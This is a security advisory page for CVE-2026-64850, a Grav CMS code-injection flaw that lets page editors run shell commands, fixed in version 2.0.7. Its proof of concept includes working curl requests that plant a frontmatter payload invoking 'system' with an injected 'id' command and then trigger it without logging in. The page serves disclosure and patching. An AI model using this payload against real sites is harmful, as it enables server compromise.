Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-64850 — grav

Fix: getgrav/grav@acffa34

CVE-2026-64850 is a Code Injection vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.32%0.64%0.97%0.3%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.7composer require getgrav/grav:^2.0.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-64850 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary An account with the `admin.pages` permission (or `api.pages.write`) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page. ### Details `Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes a `Class::method` string and its arguments straight to `call_user_func_array()` with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. `Grav\Common\Utils::arrayFilterRecursive($source,$fn)` (system/src/Grav/
O3 Security · Impact-Aware SCA

Is CVE-2026-64850 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-64850: grav RCE — Fixed in 2.0.7